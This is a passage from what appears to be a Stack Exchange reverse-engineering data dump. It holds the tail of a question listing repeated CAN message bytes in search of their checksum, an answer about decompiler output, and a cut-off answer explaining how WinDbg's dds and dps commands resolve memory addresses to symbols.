cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;71  8b  10&#xA;71  8c  e9&#xA;71  8d  a5&#xA;71  8e  71&#xA;71  8f  3d&#xA;71  80  9e&#xA;71  81  d2&#xA;71  82  06&#xA;71  83  4a&#xA;71  84  b3&#xA;71  85  ff&#xA;71  86  2b&#xA;71  87  67&#xA;71  88  c4&#xA;71  89  88&#xA;71  8a  5c&#xA;71  8b  10&#xA;71  8c  e9&#xA;71  8d  a5&#xA;71  8e  71&#xA;71  8f  3d&#xA;71  80  9e&#xA;71  81  d2&#xA;71  82  06&#xA;71  83  4a&#xA;71  84  b3&#xA;71  85  ff&#xA;71  86  2b&#xA;71  87  67&#xA;71  88  c4&#xA;71  89  88&#xA;71  8a  5c&#xA;71  8b  10&#xA;71  8c  e9&#xA;71  8d  a5&#xA;71  8e  71&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;1b  80  d8&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;15  85  1f&#xA;15  86  cb&#xA;15  87  87&#xA;15  88  24&#xA;15  89  68&#xA;15  8a  bc&#xA;15  8b  f0&#xA;15  8c  09&#xA;15  8d  45&#xA;15  8e  91&#xA;15  8f  dd&#xA;15  80  7e&#xA;15  81  32&#xA;15  82  e6&#xA;15  83  aa&#xA;15  84  53&#xA;1b  85  b9&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;13  8a  f2&#xA;13  8b  be&#xA;13  8c  47&#xA;13  8d  0b&#xA;13  8e  df&#xA;13  8f  93&#xA;13  80  30&#xA;13  81  7c&#xA;13  82  a8&#xA;13  83  e4&#xA;13  84  1d&#xA;13  85  51&#xA;13  86  85&#xA;13  87  c9&#xA;13  88  6a&#xA;13  89  26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21868" LastActivityDate="2020-01-14T15:45:08.990" Title="Checksum in CAN message" Tags="|encryption|decryption|crc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16503" PostTypeId="2" ParentId="13566" CreationDate="2017-10-07T06:37:20.853" Score="3" Body="&lt;p&gt;I suggest you look for decompiled code samples posted on the internet. That should give you a good indication of the decompiler's capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can interactively decompile. Or also decompile in bulk. It decompiles a 22M binary containing 57k functions, totalling about 4.3M lines of code in about 1 hour. The decompilation can also be modified using pytbon scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With some tweaking of variable and function types you can get very readable code. Also of c++ or objective-c with lots of virtual function calls.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2017-10-07T06:37:20.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16504" PostTypeId="2" ParentId="16494" CreationDate="2017-10-07T11:18:26.037" Score="2" Body="&lt;p&gt;dds means dump dwords intrepreting the result as symbols&lt;/p&gt;&#xA;&#xA;&lt;p&gt;suppose 0x401234 contains 0x77123456 and &#xA;0x77123456 is resolved as kernel32!CreateFileA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dds 0x401234 will yield kernel32!CreateFileA &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you do dds esp it can return bogus symbols as stack can contain address that may be a constant which might resolve to a symbol &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;dds/dqs/dps  are meant to be used to look for addresses that resolve to symbol you can use it against stack register esp/rsp/va to look for symbols &#xA;only keep in mind it can return bogus symbols &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example after import table is resolved you can look what imports were resolved using dps /dds &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dds calc+1000 l6;dps calc+1000 l6&#xA;00461000  760b0468 SHELL32!SHGetSpecialFolderPathW&#xA;00461004  76115708 SHELL32!SHGetFolderPathW&#xA;00461008  7615a129 SHELL32!ShellAboutW&#xA;0046100c  7619dd83 SHELL32!SHCreateDirectory&#xA;00461010  760b1e46 SHELL32!ShellExecuteExW&#xA;00461014  00000000&#xA;00461000  760b0468 SHELL32!SHGetSpecialFolderPathW&#xA;00461004  76115708 SHELL32!SHGetFolderPathW&#xA;00461008  7615a129 SHELL32!ShellAboutW&#xA;0046100c  7619dd83 SHELL32!SHCreateDirectory&#xA;00461010  760b1e46 SHELL32!ShellExecuteExW&#xA;00461014  00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you had used dd here it would be just a bunch of DWORDS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dd calc+1000 &#xA;00461000  760b0468 76115708 7615a129 7619dd83&#xA;00461010  760b1e46 00000000 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;other dereferncing commands inlude  &lt;strong&gt;dda / ddu / ddp / dpp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dda derefences an ascii string &#xA;ddu derefernces an unicode string&#xA;ddp dereferences  a pointer (only 4 butes or a dword&#xA;dpp 